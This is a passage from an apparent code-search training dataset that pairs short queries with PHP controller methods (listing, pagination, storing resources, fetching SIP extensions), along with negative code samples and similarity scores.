"public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }",
"public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }",
"public function view(){\n\t\t$this->buildListing();\n\t}",
"public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }",
"public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }",
"public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }",
"public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }",
"public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }",
"public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }",
"public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }",
"public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }",
"public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }",
"public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}",
"public function listAction() {}",
"public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }",
"public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }",
"public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }",
"public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }",
"public function executeList()\n {\n $this->setTemplate('list');\n }",
"public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }",
"function listing() {\r\n\r\n }",
"public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }",
"public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }",
"public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}",
"public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }",
"public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }",
"public function _index(){\n\t $this->_list();\n\t}",
"public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}",
"function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}",
"public function index()\n {\n $this->booklist();\n }",
"public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }",
"public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }",
"public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }",
"public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }",
"public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }",
"public function indexAction() {\n $this->_forward('list');\n }",
"public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }",
"public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }",
"public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}",
"public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }",
"public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }",
"public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }",
"public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }",
"public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }",
"public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}",
"public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }",
"public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }",
"public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }",
"public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}",
"public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }",
"public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }",
"public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }",
"public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }",
"public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }",
"public function index()\n {\n return view('admin.resources.index');\n }",
"public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}"
] | [
"0.7446777",
"0.736227",
"0.73005503",
"0.72478926",
"0.71631265",
"0.71489686",
"0.7131636",
"0.7105969",
"0.71029514",
"0.7101372",
"0.70508176",
"0.6995128",
"0.69890636",
"0.6934895",
"0.6900203",
"0.6899281",
"0.6891734",
"0.6887235",
"0.68670005",
"0.6849741",
"0.6830523",
"0.6802689",
"0.6797",
"0.67957735",
"0.67871135",
"0.6760129",
"0.67427456",
"0.6730486",
"0.67272323",
"0.67255723",
"0.67255723",
"0.67255723",
"0.67177945",
"0.6707866",
"0.6706713",
"0.6704375",
"0.6664782",
"0.6662871",
"0.6660302",
"0.6659404",
"0.6656656",
"0.6653517",
"0.6647965",
"0.6620322",
"0.66185474",
"0.6618499",
"0.6606105",
"0.6600617",
"0.65996987",
"0.6594775",
"0.6587389",
"0.6585109",
"0.6581641",
"0.6581017",
"0.6577157",
"0.65747666",
"0.6572513",
"0.65721947",
"0.6570553",
"0.65646994",
"0.6563556",
"0.6554194",
"0.65529937",
"0.65460825",
"0.65368485",
"0.653429",
"0.65328294",
"0.6526759",
"0.6526695",
"0.6526284",
"0.65191334",
"0.65183175",
"0.65174305",
"0.651703",
"0.65141153",
"0.6507088",
"0.65061647",
"0.6504046",
"0.64942145",
"0.6491893",
"0.64883405",
"0.6486392",
"0.6485077",
"0.64846045",
"0.6478858",
"0.64756656",
"0.64726377",
"0.6471126",
"0.64701074",
"0.6467418",
"0.6462195",
"0.64618355",
"0.6459199",
"0.6457831",
"0.6454631",
"0.64533997",
"0.6451915",
"0.6450861",
"0.6449301",
"0.64492667",
"0.64469045"
] | 0.0 | -1 |
Store a newly created resource in storage. | public function store(Request $request) {
$activity = $this->form->store();
return redirect()->route('activity.edit', $activity->id);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function store($data, Resource $resource);",
"public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }",
"public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }",
"public function createStorage();",
"public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"function storeAndNew() {\n $this->store();\n }",
"public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }",
"public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }",
"public function store()\n\t{\n\t\t\n\t\t//\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}"
] | [
"0.72865677",
"0.7145327",
"0.71325725",
"0.6640912",
"0.66209733",
"0.65685713",
"0.652643",
"0.65095705",
"0.64490104",
"0.637569",
"0.63736665",
"0.63657933",
"0.63657933",
"0.63657933",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437"
] | 0.0 | -1 |
End Helper Functions Extensions | public function getAllSIPExtensions($request, $response){
$sql = "SELECT * FROM devices;";
$stmt = $this->c->db->query($sql);
$sipExtensions = $stmt->fetchAll();
return $response->withJson(array(
'code' => 200,
'data' => $sipExtensions
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function helper()\n\t{\n\t\n\t}",
"function end();",
"public function oops () {\n }",
"public function extension() {}",
"public function ex4()\n {\n }",
"public function liberar() {}",
"public function end()\n {\n }",
"abstract protected function doEnd();",
"abstract protected function footer();",
"abstract protected function footer();",
"public function getHelper()\n {\n }",
"public function elso()\n {\n }",
"public function end();",
"public function end();",
"public function end();",
"public function end();",
"public function end(): void\n {\n }",
"protected function end() {\n // must have space after it\n return 'END ';\n }",
"public function appEnd()\n {\n }",
"public function appEnd()\n {\n }",
"public function getEnd() {}",
"function test_helper(){\n return \"OK\";\n}",
"public static function after() {\n\n\t}",
"public function getEnd();",
"public function extProc_finish() {}",
"public function extProc_finish() {}",
"protected function _after()\n\t{\n\t\t\n\t}",
"protected function _after()\n\t{\n\t\t\n\t}",
"function endPage () {\n\tglobal $pageEnd;\n\techo $pageEnd;\n}",
"private function aFunc()\n {\n }",
"protected function footer()\n {\n\n }",
"public function get_app_script_helpers()\n {\n }",
"public function end() {}",
"public function end() {}",
"public function end() {}",
"public function aaa() {\n\t}",
"protected function test9() {\n\n }",
"private function _addHelper()\n {\n require __DIR__.'/../Support/SsoHelper.php';\n }",
"public function someStuff()\n {\n \n }",
"function metodo() {\n // Funcion normal\n }",
"private function __() {\n }",
"function close() {\r\n\t\t// \"implementado en la clase <i>\" . get_class($this) . \"</i></h1>\";\r\n\t\treturn FALSE;\r\n\t}",
"public function extension();",
"protected function finish() {}",
"private function _i() {\n }",
"public static function returnInfo() {\n ##\n }",
"public static function returnInfo() {\n ##\n }",
"public function endPage() {}",
"public function footer() {\n\t}",
"function showEnd( $appctx )\n\t\t{\n\t\t$appctx->Moins() ;\n\t\t}",
"public static function _after() : void {\n\t}",
"function visual_group_end()\n\t\t{\t\t\t\n\t\t\t$output = '</div>';\n\t\t\treturn $output;\n\t\t}",
"protected function _after()\n {\n }",
"public function helperText()\n {\n return \"\";\n }",
"function section_end(){\n\techo '</div>';\n\techo '</div>';\n}",
"public function f02()\n {\n }",
"public function beforeEnd () {\n }",
"function d() {\n return;\n }",
"public static function end_help()\n\t{\n\t\treturn <<<HTML\n\t</div>\n</div>\nHTML;\n\t}",
"public function __after()\t{\n\t}",
"function getFinal()\n {\n }",
"public function sectionEnd() {}",
"public function sectionEnd() {}",
"function doc_end () {\r\n\t}",
"public function nadar()\n {\n }",
"private static function support()\n {\n require_once static::$root.'Support'.'/'.'FunctionArgs.php';\n }",
"public function endTabs() {\n\t\t\treturn \"\"; \n\t\t}",
"public function finish() {\r\n\t}",
"function helper(){\n // vde(Application::$helpers);\n foreach(func_get_args() as $helper)\n Application::$helpers->load($helper);\n // System::include_helper($helper);\n}",
"public function Cleanup()\r\n\t{\r\n\t}",
"function endPage(){\n global $_inContainer, $_pageName, $_loadChosen;\n require('inc/pageend.php');\n}",
"private function static_things()\n\t{\n\n\t\t# code...\n\t}",
"function opinionstage_help_resource_load_footer(){\n}",
"public function finish()\n\t{\n\t\t\n\t}",
"function endGallery() {\n $content = '</div></div>';\n if (is_array($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['rgsmoothgallery']['extraEndGalleryHook'])) {\n foreach($GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['rgsmoothgallery']['extraEndGalleryHook'] as $_classRef) {\n\t\t\t\t$_procObj = & t3lib_div::getUserObj($_classRef);\n\t\t\t\t$content = $_procObj->extraEndGalleryProcessor($content, $this);\n }\n } \n return $content;\n }",
"function functions() {\n \n }",
"protected function getAddAfterFunction()\n {\n \n }",
"function section_end()\n\t\t{\n\t\t\t$output = '</div>'; // <!--end ace_control-->\n\t\t\t$output .= '<div class=\"ace_clear\"></div>';\n\t\t\t$output .= '</div>'; //<!--end ace_control_container-->\n\t\t\t$output .= '</div>'; //<!--end ace_section-->\n\t\t\treturn $output;\n\t\t}",
"static function Describe() { return \"\"; }",
"protected function after(){}",
"protected function after(){}",
"protected function after(){}",
"function update_end()\n {\n }",
"final function velcom(){\n }",
"function adminFooter()\n {\n return \"\";\n }",
"function endCase() {\n\t}",
"private function method2()\n\t{\n\t}",
"public function withReturn();",
"public function demo();",
"public function demo();",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"public function finish() {}",
"abstract protected function exportFunctions();",
"function renderEnd(&$render)\n {\n return '';\n }",
"public static function end()\n\t{\n\t\treturn '\n\t\t</div>\n\t</div>\n</div>\n<!-- CE: End Pagination -->\n';\n\t}"
] | [
"0.74331087",
"0.6291637",
"0.5981343",
"0.5950904",
"0.5781231",
"0.57773024",
"0.5767956",
"0.5763362",
"0.57344204",
"0.57344204",
"0.57287335",
"0.57251984",
"0.5669889",
"0.5669889",
"0.5669889",
"0.5669889",
"0.5621573",
"0.5576951",
"0.5574188",
"0.5574188",
"0.55741125",
"0.5560501",
"0.55452776",
"0.55391216",
"0.5538338",
"0.55382305",
"0.5522115",
"0.5522115",
"0.5519021",
"0.55174464",
"0.5501202",
"0.550067",
"0.55003905",
"0.55003905",
"0.55003905",
"0.5490212",
"0.54621834",
"0.54609346",
"0.54570526",
"0.5443717",
"0.5434124",
"0.54333556",
"0.541987",
"0.5409112",
"0.5408889",
"0.5400696",
"0.5400696",
"0.53875566",
"0.53861046",
"0.5370821",
"0.5358114",
"0.5343541",
"0.5338604",
"0.5326495",
"0.5325473",
"0.5324591",
"0.5304523",
"0.5293822",
